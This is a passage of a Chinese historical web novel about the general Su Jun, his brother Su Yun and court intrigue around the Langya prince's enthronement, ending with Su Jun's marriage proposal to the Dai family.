桥头刚拿下,军心未固、辎重未清、斥候没全——躺下等死?
“颍川的调兵到哪了?”
“回将军,五百人一路急奔,今早传信还有两日路程。”
“让沈充给北州府打个报告,再调八百。嘉陵一带,以后要重兵常驻。”
随身兵应了“是”,又不由劝:“三印令后,调军总这么繁琐。将军不如,还是跟建康那边打个招呼……”
立刻感到一道冷刀子似的目光逼来。
.
主帐中传出一阵哇哇大叫:“将军饶命,饶命啊——”
随即帘子一掀,一人被扔得滚出两丈远,脸朝地,满头尘土。
有人路过,赶紧悄悄问:“怎么了?”
值夜校尉压低声:“小子不懂事,提了建康。”
“啧。”
帐内又传来苏骏的冷声:“关禁闭,三日内不得开口!”
人人咋舌,只好低头去办。
.
祖奕被生折了两根右肋骨,左眼淤成一团,浑身擦伤累累,像是被野兽拖过一圈。正当他龇牙咧嘴地,试图单手完成捧碗及吃饭时——
苏骏掀帘而进:“姓祖的!”
祖奕登时吓得没拿住碗,饭菜当的一声翻地。
他顿了顿,好歹忍住骂人的冲动。回过头来,皮笑肉不笑:“进门敲门,你娘没教……”
话音未完,迎面便是一记重物砸来。<
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p>拦下一看,是一坛子酒。
只见苏骏往凳子上一歪,喝了口自己手上的,用眼神表达了个“请便”。
祖奕那便不客气了,拔了酒盖,仰头就是一大口。
那酒烧喉入腹,烈得像刀,香得像火。一口下肚,顿时浑身筋骨都活络了。
他扯着嗓子吼了声:“痛快!”
甩了甩头,又灌一口。
如此一连三口下去,咕咚咕咚,半坛见底。这才意犹未尽地放下酒坛,抬手胡乱擦了把嘴,脸颊发红,眼神发亮。
“好东西,真是好东西!”
苏骏不置可否,悠哉地喝自己的。
吃人嘴短,祖奕至此已把那点过节丢到爪哇国去了。开始自来熟:“哎,你这么打仗,是怎么活到今天的?”
“……”
“不说是吧,嘿,我问人了的。就送饭那个小个子,说你命硬,小时候被马踩过脑袋都没死成。”
“……”
“你是那个天生话少,还是慢热啊?”
“……”
“哦,慢热。那先说说,家里几口?出来几年了?不打仗的时候都干啥?”
苏骏忍无可忍:“……你好吵。”
祖奕笑得十分愉快:“那叫性格好。不行你去问,十里八乡的都知道,我祖奕去谁家一坐,那是烧香请来的福星——”
掰手指算,“能讲段子、掏野味、还能修水渠。连村里狗都要跟我走!”
苏骏终于起身。
祖奕一叹:“我说你,绷这么紧干啥?放松点,酒都没喝完呢 ……”
苏骏看了他一眼。
“好好,我不说了。你坐,我听你说行吧?”
祖奕好说歹说,把人劝留下了。
他一闭上嘴,二人就陷入各自喝酒的绝对沉默。
半刻钟后,祖奕被尴尬得头皮发麻:“……你要不还是走吧。”
苏骏又看了他一眼,当真起身。
当真走了。
临出门时,遇上来收送饭的小兵。顿了一下,却没说什么,负手走了。
小兵给那眼神吓得一个激灵。
回过头来,摸着砰砰跳的心,问屋里那厮:“祖宗啊,您可说了什么吗?将军看着,不、不太对啊……”
“没说什么啊。怎么不对了?”
“好像,好像挺高兴的。”
“……哈?”
祖奕瞪大眼,“你管,那个,叫高兴啊?”
从头到尾冷着脸,基本没说话啊!
“是啊,走得不快,肩也松着……您让他走,他甚至没骂人!”
“……”
祖奕半晌方道,“你们将军,怕不是小时候脑子给马踢坏了……”
“没有,将军原来不是这样的。他从前可张扬了,笑得大、骂得响,是全江南出了名的风流人物!就是——”
小兵说着也是一顿,叹,“前两年不知在建康遇上什么事,回来整个人都变了。沉得很,除了打仗有劲,其他时候就跟冰雕似的……”
.
祖奕虽不要脸,总蹭在人军营里也不是个事。养了两天伤 ,钉着钢板能上马的时候便要走了。临行前,苏骏亲自给他送到营口,又听他压低声:
“管好你底下的口风。这事我没参与,回头别让羯人盯上我了——坞里几千口老小还要活命呢。”
苏骏“呵”了一声:“啰嗦。”
“还有建康那头,你报告里也别写我。”
“……为啥?”
祖奕“啧”了一声:“俗话说,枪打出头鸟、深藏功与名。你那朝里能有啥好玩意,特别是那个司马瑞啊,前些天还……”
话还未说完,便有一人一马急急冲来:“报——”
下马便呈上黑漆封函。“是建康来的。”
苏骏立刻接了就走。
只余下祖奕一脸懵,手都还没收,又喊了声:“喂!”
那人只顾拆信读信,已经一气走了老远,根本不理。
祖奕一瘪嘴,“切”了一声。
心道,好心好意提醒他,不听,那吃亏了活该呗。
便自己翻身上马,吹了个口哨:“兄弟们,走咯!回家!”
25. 回家
八王之乱,至此落下帷幕。
先是匈奴占领洛阳,俘杀了晋怀帝。数月之后,秦王顺位在长安称帝,不足两年,又被鲜卑攻破。余下的司马王则要么被灭,要么南逃。
眼看中原全线崩溃,秦帝临死前一纸密诏,传位于江南琅琊王,并嘱咐他继位后收复旧都,报仇雪恨。
苏骏接令,当即三路分兵,亲自护送使者,星夜兼程送诏入建康。
入城这日,正值春好。消息尚未传开。
许宅里,仍是静花流水。
有小伶禀:“主上差人送来一双金雕夜光杯、一座血珊瑚,说是新得珍品,让先生玩玩。”
许生一身素净的白衣,正俯身修剪一盆红牡丹,花枝一寸寸地落下。
闻言,只淡淡道:“放着吧。”
小伶应了“是”,又照例捧出这日的信,一封封地禀来:“崔氏送了新茶和玉枕,说是先生久劳,略表心意。”“梁家新起了个戏班子,请先生闲时一观。”
“还有谯王妃来信,说侄女不日入京,愿请先生观琴评舞,似有托付之意。”
许生轻笑一声,继续剪枝:“回,说我许某无宗无门,岂敢攀高枝?”
小伶应下。又听主子不经意似的问:“入城了?”
他忙道:“是,苏将军刚入城。衣也没换,就直接进宫了。”
许生“嗯”了一声:“回来好呀。”
慢条斯理地后退半步,仔细赏了赏花。
那是极正的大红品种,层层叠叠,浓如云锦。其中最中间一朵,□□盈尺,开得阔大张扬,像火一样往外翻卷,耀眼至极。
他上前半步,轻轻托住那花朵。沉甸甸的。
而后一刀铰下。
.
一纸诏书入京,轰动全境。
群臣争相上表,推琅琊王即位,连余下的司马诸王也纷纷表忠。
琅琊王一概压下不应,反倒忙起给苏骏接风的事——御设接风大宴,广邀诸王、文武、名士,以褒其军功。知他素好面子,更亲令全城上下布置了一番,满城尽是披红挂彩,好不喜庆。
宴席之上,自己则拉着他的手,不住地嘘寒问暖:“听说你护诏这一路险得很——兵分三路还有人追!是怎么回事,没有伤着吧?”
苏骏道:“情势太急,大军一动易招外扰,只能兵分小道。”
顿了顿,又补了一句:“好在……托主公的福,还算平安。”
这一句最简单的奉承,竟听得琅琊王愣了一下,赶紧摆手:“嗨,我就在京里坐着,哪有做什么呢?倒是你,拿着性命在外搏,叫我这个做大哥的怎么过意得去……”
苏骏垂眼,仍是面无表情:“都是分内的事。”
一句堵得琅琊王把备好的词都丢了,只得指着他:“两年不见,三弟你变化可不小啊。变得更——”
似乎想了想措辞,笑道:“更沉稳,更堪大用了!来来,大哥再跟你喝一杯——”
苏骏与之一饮而尽,目光却落在左上座的苏昀身上。
他一身青色宽袍,没有抬头,只是安静地吃着小菜,显然一点也不关心。
苏骏于是又倒了杯酒,刻意高声向琅琊王道:“主公,这杯该是臣下敬您才是。恭祝您万事顺遂,登高无忧!”
琅琊王听了,更是眉眼大开:“有你在,我有什么可‘忧’的呢?来,喝!”
如此喝了几轮,苏骏拿出了毕生的耐心,翻来覆去地讲些无聊的场面话,越讲越用力,最后竟把琅琊王说得拍案大笑:
“好弟弟,今儿你回来,大哥这心里头是真舒坦——真高兴!”
苏骏都快给恶心吐了,偏生左边那人始终没有半点反应。
他咬了咬后槽牙,正准备再挤出点什么更好听的——
终于苏昀侧目,向侍从说了点什么。
侍从应了,便向他二人走来。
苏骏屏着呼吸,直盯着那人一路小碎步走来,清了清喉,掐起细声:“主上——”
他拳头都快捏碎了,忍着气听下去——“司徒说,身体不适,请求先行离开。”
登时整个人一僵,看去。
苏昀按着胸口,似有歉意地笑了一下。
自然不是对他,是对旁边那位浮夸的主子。后者显然对苏昀更是无微不至,立刻起身,亲自快步走到了他桌前。“怎么,又不舒服了?”
说着,已伸手要扶。
苏昀却先微侧半步,姿态温和,语气更温和:“多谢主公。一点旧病,回去歇歇便好,不敢扰了主公雅兴。”
这样说来,琅琊王也只得一叹:“好吧,那你先回去休息吧。当心着点。许生——来,替本王送一送司徒。”
许生应声,便步子轻盈地上前去。
苏骏一言不发,直看到那人完全下了殿。方拿起酒盏,自己
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灌了一大口。
琅琊王见状便劝:“怎么自己喝起闷酒了?哎,你二哥就是天潮时有点气闷,没什么大事,太医都看过好几轮了,你放心……”
话音未落,只听当的一声,苏骏已拍下酒盏,站起身来。
脸色冷极了:“我也有点累了,能告退吗?”
告什么退?
这是给他的接风宴!
琅琊王扫了一眼殿中宾客:文武百官尽数侧目,连那两位素来不睦的司马王,也饶有兴味地望了过来。
他面上一阵青白,低声唤:“三弟!”
见他无动于衷,竟真的要走,只好搬出杀手锏:“你这一走,你二哥是不会高兴的。”
苏骏顿了一下,最后只冷冷道:“他不是,你能打的牌。”
还不等对方反应,又提高声音,拱手一礼:“臣一时不胜酒力,头痛难当,还请主公恕罪!”
.
主角走了,这宴席自然很快就散了。
琅琊王仍留在主座,一手覆在酒壶上,久久不语。
许生上来,轻轻地跪在他身边:“主上,您伤心什么呢?难道还真盼着,几年不见,苏骏能变了个人?”
琅琊王低低地一笑:“他这种货色。”
改不了吃屎。
许生顺势叹道:“是呀,您念他一分旧情,他就能挣出十二分的脸来。这样不识抬举,真是太难共事了......”
琅琊王冷笑:“共事?他也配!”
随手将酒壶一拍。“敬酒不吃吃罚酒——”
今日之辱,他必要十倍百倍地奉还!
.
苏骏到家时,花厅里亮着灯。
苏敏在跟老夫人在念书,活泼泼地跟他打招呼:“二哥,这么快就结束啦?”
老夫人则问:“吃饱了没,要不再下碗面?”
他胡乱地一一应了,闷头往里走。
穿过厅,宋依依正迎面来。他甚至没停脚步,直接就走了过去——
宋依依在后面叫:“苏骏。”
他回头。
看见她站在廊下。
清清落落的一个女人,挽云髻。那么美。
她问:“你没有话,要跟我说吗?”
说什么,抛下她两年,对不起。辛苦了。我想你?
苏骏倦极,只道:“我累了。”
便推门进了卧室。
26. 登基
宋依依次日一早便搬走了。
苏敏、老夫人急得打转,劝了又劝。
“像依依这样的,你上哪儿去找?又懂事又大气,你不在这两年,把家里上下管得好好的——现在就要你一个台阶,怎么了呢?快,赶紧去说两句好听的,把人哄回来......”
“是呀二哥。依依姐不是那种随便的女人,你再不去,她是真的会走。”
苏骏只笑了一声:“好听的我还没说够吗?”
老夫人道:“说过了?”
又催促:“那就再多说点!阿敏还备了花和礼物,你一会儿带着去啊......”
可就是说到嘴皮子破了,那家伙就是死活不肯去。
另一头去劝宋依依,则是周到而拒人千里。明摆着,他自己不来谁说都没用。
老夫人忧心忡忡,也只好自劝——
罢了,反正这两个心里有彼此,先冷几天,总归是要和好的。
.
家事未平,国事又起。
接风宴次日,琅琊王便宣布即位,定下一个月后登基大典,命赶制宝座黄袍,整肃礼制,把朝中上下忙得是人仰马翻。
如此,总算挨到了大典日。
当日艳阳高照。祭坛之上,鼓乐齐鸣,大旗翻飞。
琅琊王一身厚重的礼服,乘金舆而上。一拜天,二拜先帝,三跪九叩祇告受命。而后绕宫一周,再度回到祭坛之上,接受众臣朝拜。
客曹郎高声道:“众臣礼毕。升宝座!”
中韶乐转调,一台金漆龙纹宝座由八人抬出,落在祭坛中央。
琅琊王缓步走到宝座前,所有人齐齐地看向他,等待入座的那一刻。
他却只是伸手,轻轻地抚了一遍椅座。而后转向身后的苏昀,笑着招手——
“宴之,你来。”
这自不在章程之内,人人讶异不已。
苏昀也有些错愕,却只得走来,万分恭敬地敛衣而拜:“陛下。”
琅琊王双手扶起他:“你与我是君臣之分,更是布衣之交的兄弟。”
引导对方与自己一同站在宝座前,缓缓道,“我的江山是你与三弟打下的,今日这张宝座我要与你同坐,从此共治天下!”
此言一出,人人骇然变色。
苏昀当即后退一步,行大拜:“臣,万死不敢!”
琅琊王再请:“过来。”
苏昀绝不肯动:“臣,恕不能从。”
琅琊王笑,终于自己落座了,却还招手:“你看,我先坐了。这下你能来坐了吗?”
苏昀坚称:“陛下乃当空昊日,如何能与蝼蚁相齐。您若执意如此,臣便只能在此了断、以报君恩了!”
说到这份上,琅琊王只好一叹:“罢了罢了,我不强迫你。你起吧。”
苏昀这才直起身,苍白着脸,慢慢回到群臣之列。
众人都松了一口气。
回过头来,只听琅琊王在座上徐徐道——
“孤自知才不胜任,只因王室屡遭灾变,才不得不登此大典。今日放眼望去,只见山河破碎,皇纲驰坠。今日便在此起誓,一定要重整纲纪,复兴我大晋王朝!”
众臣皆拜:“重整纲纪,复兴大晋。吾皇万岁万万岁!”
.
苏骏刚上马,后面又一快马追来——“圣旨到!”
他皱眉:“这还没完了!”
只得再翻身下马,行单膝礼。
身边从众、连街边百姓也只能一并下跪,乌泱泱地跪了整条街。
来报的人展开黄卷,朗朗道:“吾皇昭告天下。即日起,地方刺史、太守当从严治理地方。刺史、都督相互监察,不得损公肥私。钦此!”
念罢,便将一份抄本贴在公栏上,又快马向城中其他处去了。
民众们不明所以,纷纷围上去看。“又有皇令,今天都多少条了?”“这都啥意思啊,谁能给讲讲?”
张彦牵着马过来:“二公子,新皇上任三把火,咱回府这一路可十几把火都有了。”
一个副将挥手道:“嗨,管它几把火,反正第一把就是给咱们将军加官——进拜征南大将军,加侍中、荆州牧,那可够威风的了!其他的就是个虚话,什么‘从严治理’,谁理他。”
苏骏仍皱着眉,上了马又问:“苏昀封了什么,可有消息了?”
副将笑道:“皇帝差点把宝座都分他了,将军还担心什么?赏赐肯定都上天了!”
说什么来什么,一人快马而来:“将军,苏司徒那头有消息了,赐的是——”
.
丞相军谘祭酒,拜右将军、扬州刺史、监管江南诸军事,又迁骠骑将军,加散骑常侍、都督中外诸军、领中书监、录尚书事,假节、刺史如故。
苏昀听完这一串头衔,只觉头都大了。
面上不表,仍极恭敬地拜行大礼:“臣惶恐,不能、也不敢当此殊荣。恭请皇上三思。”
一辞,二辞,三辞。
传令使奔走三回,旨意仍坚,却语气渐重。
苏昀索性便跪下不起。
“臣旧疾未痊,恐难胜任。若陛下不弃,待臣调养之后,再为陛下效犬马之劳——今日封授,恳请暂缓施行。”
这
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一回,圣旨却迟迟不到。
终于来时,语气也和缓了下来,只惋惜地说“国事维艰,不容久阙辅弼”。遂封他为丞相军谘祭酒,加中书监,仍拜大司徒如故。其余延后再议。
苏昀至此已跪了近一个时辰。
领旨谢了恩,起身时胸口气血一涌,险些没站住。
宁伯吓飞了魂,好容易把这位主子扶去坐下。才略缓了口气,便听他道:
“还有什么消息——”
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这一天实在太漫长了。
新皇即位,文武百官皆有加封。苏昀一条一条地听,记下来,又再三比对地图。最终要命的就是三件——
一是大赦扬州家奴,组成军队,任东吴旧族戴渊为征西将军,都督徐、青、代三州军事。
二是吸纳流民为北府兵,任流民帅刘侃为定北将军,都督兖、雍两州军事。
三是任谯王司马承为湘州刺史,兼军咨祭酒,袭封谯王。
统共四万新兵,相比苏家十八万精锐,并不算多。
然而青、徐二州与广、交相邻,正扼苏骏兵力腹背。启用流民帅,显然意在牵制江北。谯王入湘,所守更是苏家都督多年的重地。
北堵,南压,中插……看似分封,实则步步逼杀。
“如今中原将倾,江北未平,却是自家后院先起风浪。而他,又偏是那样的心性……”
苏昀想了又想,气息越发不定。“去,告诉二公子——”
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“静,等。”
苏骏重复了一遍。
宁伯道:“对,就这两个字。”
苏骏点了点头:“好,我等。你让他放心。”
宁伯看了一眼这屋里,被摔得七零八落的茶具、砚台、桌椅,像是土匪刚砸过村。
“......”
苏骏顺着他的目光看了眼,淡定道:“用着不顺,不要的。”
又看向身边的牙将等人:“是吧?”
众人立刻点头如鸡啄米:“是是,刚才将军让咱收拾的。就,呃,现在还有点乱......”
宁伯擦了擦汗:“......行。二公子保重,随时通气。”
苏骏笑着送:“好。”
待人一走,笑容瞬间消失。
“还愣着干什么?”
他回身,冷声喝令:“去,把戴、刘、谯三家的底细给我查清楚了——来路、旧部、亲眷,一个不许漏。”
语调一顿,又道:“还有,暗桩立刻全线启用。州府、军营、民间有一丝风吹草动,昼夜三批,全部直送我案前!听明白了吗?”
27. 刻碎
事实证明,全境昼夜三批的暗报,实在太多、太杂。
有的冗长拖沓,二十页纸还讲不清一件事。有的前后矛盾,两个不同源头上报的情报,竟南辕北辙。更要命的是,苏骏对朝堂派系根本不熟,什么“给事中某某”与“尚书郎某某”的交往记录,翻来覆去看了半天,最后只憋出一句:“这他娘的是谁跟谁?”
硬撑了几天之后,苏骏除了大受挫败之外,只能说一无所获。
他终于一挥手,揉了把脸:“你们几个,每天把最要紧的十件挑出来,写份简报送去给宁伯。让他定,该不该给苏昀看。”
底下的陪坐、陪学的,都大松了一口气——早该这样了!
便纷纷着手去办。
但有些事,并不需要经验也能懂,比如——
“这姓许的,他娘的有病吗?欠他什么了,就这样一封封地弹劾老子的人!”
底下的小心道:“回将军,这位新晋御史中丞,与咱们并无过节,甚至入宫还是宋夫人引荐的。”
苏骏只骂:“什么东西!”
又胡乱地翻了翻卷子,“这些呢?除了我的人,他还弹谁了?”
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“又有二十来人被弹,都是您亲自举荐的。”
草庐中围了几个幕僚,语气急促。“全被翻了底,哪怕只一点小错,也要咬死不放,说是要效法家,从严治吏,‘勿以恶小而不弹’!”
“什么法家!再严苛,也没有针对一家严的道理呀......”
“是啊,今早顾老去陈情,也直言皇上这样对苏家,会伤了人心。话才落地,就被撤了军司,只剩个礼制顾问!”
苏昀听了半晌,至此方叹了一声:“是我累了他。”
有人忙劝:“丞相不必自责,顾老持正,自知分寸得失。”
另一人也道:“好在三印权是保住了,皇后出自顾家,陛下就算不满,也不敢做得太绝。”
也算不幸中的万幸。
苏昀令人推的第一步,便是重申三印令,三军兵马一体约束、不应偏私。所陈合情合理,琅琊王拖了几日,终究也得应下。
至于第二步——
有人建议:“他们会弹劾,咱们不会么?寒门叫得再凶,人却不多。只要您一出手,把朝中旧臣都拉下水,他们耗不过咱的。”
苏昀却摇头:“不行。朝局已乱,不可再扩大事端。”
思索片刻,吩咐道:“宝座一事后,我暂时不便出面。你们去整理两份名单——一是弹案中被冤枉之人,挑一些要案公审、复职,反坐原帖的人。”
“二是有军政底档的旧人,用协理新军之名,安入三军枢要。人选必须政绩厚实、清白无瑕,务求查无可查。”
又道:“这两步下去,当能逐渐稳住朝局,不再有失。”
众人一一领命。
待人都散去,他一气写就“自请罢荐”的奏案,正要落款。
宁伯来送药,小心问:“公子,还好吧?”
苏昀“嗯”了一声,眉头却还是皱的。
宁伯见状,也不由一叹:“陛下这一步,也未免太急、太绝情了。还有那许生,您对他一再容忍......”
苏昀笔下微顿:“我原想,寒门子本就要扶,那许生只要不结党,也未必不能共处。”
低眉一笑,最后落完了名字,“到头来,还是看错了人。”
宁伯劝道:“人心难测,又哪有事事圆满的呢?眼下局势远不到失控,部署也还来得及。您不要太苛责自己......”
苏昀淡淡地应了一声“嗯”。
显然没听进去。
宁伯只得把药碗再推近了一点,又劝:“旁的都好说,先把药吃了。不然不说老夫人三小姐,连籍公子那里,老奴都没法交代啦......”
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一人一马匆匆闯进校射场。
一勒马,抬起头。是个十七八岁的少年郎,一身轻便的窄袖短袍,显得英气勃勃。
他翻身下马,边跑边喊:“骏叔!”
苏骏正把两支羽箭搭在弓上,只“唔”了一声,眯眼校准。
苏籍之刚站住,气还没捋顺就开始汇报:“糟糕啦!弹劾案才翻了两宗,今天一下又加了十宗!连上次帮着理文书的周参军也被点名了!”
“还有那谯王也到湘州了,听说刚下车就嚷着要税本子、户编,看架势是要把湘州活吞下去!哎呀,他有没有动咱的军饷啊?......”
苏骏习以为常,就这一大串的叨叨,拉满、放箭,一气正中两个靶心。
张彦在旁指导:“再慢一点试试,沉气。”
苏骏“唔”了一声,又拎起一双箭,搭弓。
苏籍之见他一点也不急,更觉得火烧到眉毛上了:“骏叔啊!你别练啦,这都什么时候了!”又去拉张彦道:“老张你也是,你那弹章开始回了没啊?材料准备咋样了?”
张彦道:“没呢,不是还有十天才上复审么?哎,那个——”
又去按了一下苏骏的肩,“肩又紧了啊,注意。”
苏骏再放了一双箭。
不疾不徐,再次正中双靶。
他偏头看了一下,终于开口:“我看......”
苏籍之赶紧上前:“怎么说?要做点啥?我就说不能再让人欺负下去啦!我这里有十个方案......”
苏骏只把手搭在箭筒边上,“双箭算稳了吧,三箭行么?”
张彦挑了一下眉:“行啊,试试?”
苏骏于是拎出了三支箭,一气搭上。
苏籍之叹道:“骏叔,你用点心听我说啊,这是大事、正事!”
随即压低声,“方案一,那个姓许的,每天走东郭街出入宫,经常半夜三更才回。我这边找了几个手脚利索的,等他夜黑风高的时候,给他咔擦——”
“苏籍之!”
苏骏登时回吼,“你是想死吗?”
苏籍之瞪大了眼:“啊?啊我......”
苏骏高抬一掌,忍了半天才指着他道:“你,他娘的要敢做半点出格的事,老子第一个弄死你。听到没?”
苏籍之被丢了衣襟,吓得魂都飞了。“哦,哦,叔你放心。我、我不干什么,绝对不干......”
苏骏气仍未平:“滚!”
那厮便乖乖地滚远了。
张彦看了好笑:“族里这位小侄,倒是热心。”
“一天到晚瞎操心,尽是馊主意。”
苏骏骂了一句,又举起弓,重新搭好三箭,左中右对焦——
张彦笑道:“就跟你十七八那会儿差不多。”
三箭已发,咻地一声齐齐中靶。
苏骏阴着脸回头:“张彦,你不要蹬鼻子上脸。”
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张彦笑着拱手:“老张失言,陪个不是。”
苏骏再回头,两个小兵已在收拾箭靶。他立刻喝止:“别动!留着。”
随手便抽了一支箭,搭上,对准前一支箭的箭尾。叠箭。
他全神贯注,屏息——
一滴汗滑下。
发射。
咻的一声,落在了红心边缘。上一支箭尾微晃了晃。
苏骏放下弓,满脸阴云。“他娘的有这么难吗......”
便立刻要取箭再试。
却被人按住了手臂,回过头,自然是张彦。“今天可以了。”
又点了点他的左肩,“再来几轮,你这旧伤可吃不消了。”
苏骏皱眉,挣开了他的手。“老子可以,你别管。”
便又搭箭,瞄准。
张彦只得继续指点:“别急,先盯箭头,别光瞪着尾。”“风偏右一点,瞄左线。”“肩,又忘了啊!放松。”
如此又一连试了十几箭,快箭、慢箭,有风、无风,始终不成。
苏骏脸色越发难看,肩头也涩痛起来。张彦见他状态不对,劝了几次,仍不肯听,终于一箭放出之后——
左肩突然“喀哒”一声脱了位。
苏骏吃痛地叫了出声。
张彦立刻冲上来帮他复位:“别动!”
手中极利落地一拧、一按,又是“喀哒”一声。“怎么就说不听呢?再撑下去,你这胳膊就别要了。”
苏骏按着肩喘息,脸色发白:“没事,老毛病了。”
“没事?不省着点用,哪天在战场上脱了,你就知道有事了!”
张彦皱着眉,看这小子跟臭石头似的倔样儿,又不由多说了两句,“叠箭不是硬拼的,得心静气沉。你这一把火气全冲着靶子撒——”
话没说完,他叹了口气,“算了,不说了。回去歇着吧。”
苏骏还看了那靶一眼,似有些不肯。
张彦推着他:“你这样子还能干嘛呢。走啦......”
.
怎么心静气沉?
苏骏倒在床上,望着房顶出神。脑子里疯了一样地闪过无数的碎片。
让他几乎崩溃的暗报,带血的诏书,湍湍的河水。还有那几百个夜晚,仰头看见的无垠星空,不知道自己是谁,要去哪里。
他看见陌生、熟悉的脸。
他看见了他。
苏骏无法再想,侧过身,随口叫了一句:“依依啊。”
床的另一半是空的。
当然是空的。
他长叹一声,拉过被子蒙上了头。
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次日。天还没全亮,苏敏就被院里的声音吵醒。
她揉着眼睛走出来,看见苏骏一身劲装,在兵兵砰砰地练箭了。定睛一看,三个靶上密密麻麻,少说钉了三四十支箭。
“二哥你疯了吗?几点起的啊?”
“睡不着。”
“哦。”
苏敏又打了个哈欠,“那我回去睡了......”
突然后面那人暴喝一声:“呔!”
苏敏吓了一大跳,回头看去,那位老哥居然原地又嚎了两声,猛地丢下弓就走了。
她看得一愣一愣的:“真疯了么?”
便往箭靶那头看去——
只见一支箭叠在了前一支上,使后者炸成了数瓣。
28. 求和
许宅。
宋依依进来时,许生正在暖间调香。
他坐在低几前,指腹轻轻一动,一点雪白细粉便落入小盂。听到了她进门,也不抬头,只是淡淡地道:“姐姐来了?”
又亲手捡几粒丁香。
宋依依道:“许大人今非昔比了,还肯叫我一声姐姐?”
“姐姐哪里话。你这些年的提携、爱护,我一刻也不敢忘。”
许生慢条斯理地取了一撮梅花末,“这‘四息香’的方子,还是你当年亲手教的呢。”
宋依依道:“你若念我半分好,就不该这样对苏家。”
许生轻笑了一声: “姐姐真是长情。苏骏这样对你,你还要护他、护他全家。”
“我和他的事,不必你管。我今天来——”
许生打断:“求我嘛,我知道。”
宋依依静了一下,看着对方加了最后一点桂枝,收拢香泥,而后擦火点燃——
“......是,我求你。”
她垂下眼:“放过他,放过苏家,就看在我的面子上。”
许生手中一顿,盖上炉盖。
一缕幽幽的香气在屋中升起。
他起身,款款地走来。“好姐姐,我不是逼你,只是替你不值!你为了他付出这么多年,得到什么了?天地宽广,你又何苦自困......”
宋依依摇了摇头:“你不懂。”
“你是不是想说他爱你,甚至比他自己还明白?姐姐,像他这样的贵家子,心里永远只有他自己。你不要再自欺欺人了——”
许生拉起她的手,“你我是一样的,我是戏子,而你身出烟柳巷。我们注定,是只能供人消遣的。要他当真娶你......”
他轻轻一叹:“不是痴人说梦么?”
.
宋依依很快地穿出走廊,面色极冷。
侍女跟在后面,也是边走边骂:“那许生算什么东西,也敢对您说三道四?这些年您待他如自家兄弟,他倒好,一朝得势,转眼就不认人——真真是忘恩负义......”
忽然那位主子停了步,她差点撞了上去。“哎哟,夫人您慢点......”
再抬眼,登时一呆,“将、将军?”
苏骏死死地盯着宋依依:“你在这里干什么?”
眼神简直要杀人。
宋依依道:“关你什么事。”
便往前走。
苏骏一把拉住她的手臂:“回答我!”
宋依依被他拉得旋过身,却只是冷笑:“只兴你围着你哥转,我就不能见见朋友?”
苏骏压低声:“朋友?你管那东西叫朋友?你不知道他——”
“嘴甜,人乖,百依百顺,不知比某些人强到哪里去了。”
“宋依依!”
侍女赶紧上来解围:“哎呀,将军误会了——夫人是为了您的事,才来请那许生帮忙的!您不知道,这些天......”
宋依依立刻斥道:“你闭嘴!”
苏骏则逼近了一步,怒道:“宋依依,你别在外面给我丢人现眼!”
宋依依正要反斥,却听有人来请——“苏将军,先生请您去花厅......”
苏骏这才松手,黑着脸大步走开。
宋依依踉跄了半步,回过头。眼睁睁地看着那个人的背影,消失在走廊尽头,头也不回。她站在原地,一时心中百味交集。
两年了,她只是要一句道歉,一点尊重——这很难吗?
侍女小心地:“夫人......”
宋依依拭去泪水,低声道:
“我们走。”
.
“求和?”
苏昀重复一遍,“你说阿骏?”
苏籍之一边吃着点心,塞得满嘴都是,一边含糊道:“是啊,一大早就去递帖子,晚间巴巴地跑去问那姓许的,怎么才肯放手。那姓许的不识相,说什么‘武人学文,叫人笑话’——把骏叔给气坏了!”
苏昀叹了一口气。他已和许生聊过多少回,苏骏去,自然也是无果。
又问:“他没事吧?”
苏籍之道:“没什么,就回家砸了一阵东西。后来又叫了几拨人来——”
掰起手指,“先是让人查军纪,从上到下翻一遍,说什么要主动交几个‘边角料’上去,表示配合。剩下那些真有点事的嘛,就赶紧收拾干净、该遮
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的遮,该保的保。”
“然后又开始琢磨粮草那档子事。我刚去的时候,他正费劲扒拉地写了那个什么,什么‘三军统一调粮’的奏案,纸团扔了满屋子都是......”
苏昀默然了一下,没有回答。
宁伯见状,便温声道:“看来二公子这回,是真心想改好啦。您看......”
苏昀只是垂下眼,又重新摸起了碗筷。“再说吧。”
苏籍之满意道:“哎,这就对了嘛。好好吃饭,我再给你多讲几个故事。这个,还有这个蒸鸡啊,都没碰过呢......”
然而才吃了两口,又有人登登敲门:“公子,张都尉求见。”
“老张?”
苏籍之立刻道:“不见不见!好容易才开始吃呢......”
苏昀却已放下了碗。“让他进来。”
苏籍之:“......”
张彦稳步入内,拱手:“大公子。”也对苏籍之略一颔首,“籍公子。”
后者自然是白眼一翻,撇过头去。
苏昀拍了拍他的臂:“籍之,你出去一下。”
苏籍之更是不快:“凭啥!我先到的哎!你这饭......”
“我会吃的,你去帮我看看药好了没,一起拿过来,好吗?”
苏籍之瘪着嘴,终于愤愤地走了。嘴里还嘟囔着:“一顿饭吃到天荒地老,冷了又热,热了又冷......”
苏昀回过头来,微笑:“说吧,什么事?”
.
苏骏问:“同意了?”
张彦点头:“是,想了一会儿就说‘好’,会替你写函,还让宁伯和族里长辈帮着一起办。”
苏骏长呼出一口气,在屋里绕了两圈,忽然一嗓子喊:“老张!”
张彦:“......啊?”
苏骏转过身来,眼里还带着没压住的光:“安排下去,我要去广州巡兵,顺道——去趟戴家。”
张彦劝道:“二公子要亲自去么?这种事,还是长辈出面比较好吧......”
“去。我苏骏的婚事——”
苏骏一挑眉,笑,“自己不去,怎么能做数?”
29. 如君
徐州戴府。
早夏,新茶初上。
戴渊坐在上首,手里摩挲着玉扳指,看着眼前这个不请自来的客人。那人一身旅尘未洗,戎装未脱,光站在那里,就仿佛把整间厅堂都填满了。
“我是来娶你女儿的。”
戴渊“呵”地笑了一声:“苏将军。”
又慢慢道,“长辈未至,礼也未备,你这——也未免太孟浪了吧。”
苏骏道:“两位叔伯还有一日就到,聘礼也在路上。这有我兄长的亲笔信,而我来——”
略偏了一下头,“就是最大的诚意。”
.
厅后,两个少女正躲在屏风边偷看。
一个粉衣的道:“如君快看,你的郎君来啦!”
另一个黄衣的则尽量沉下脸:“表姐别胡说啦!哪有人自己上门求亲的?肯定是拿我来寻开心的......”
粉衣的笑道:“我看他挺认真的——不然怎么从建康一气跑了两千里,巴巴地上门来?我看他自己先来,就是一刻也等不及,要抱走我们小如君啦!”
戴如君脸上一热:“表姐!”
却见厅里的人起身了,赶紧拉着表姐躲到后面去。
一个高大的身影落在屏风上,步子沉稳,又有两个相送的小厮跟着。一前一后,气势分明。
粉衣女子咋舌,比了比高度:“好高呢。”
戴如君也想得一样,口中却道:“高顶什么用,得是个靠得住的人才好。”
说是这样说,等人走过了,却忍不住又悄悄看了一眼。
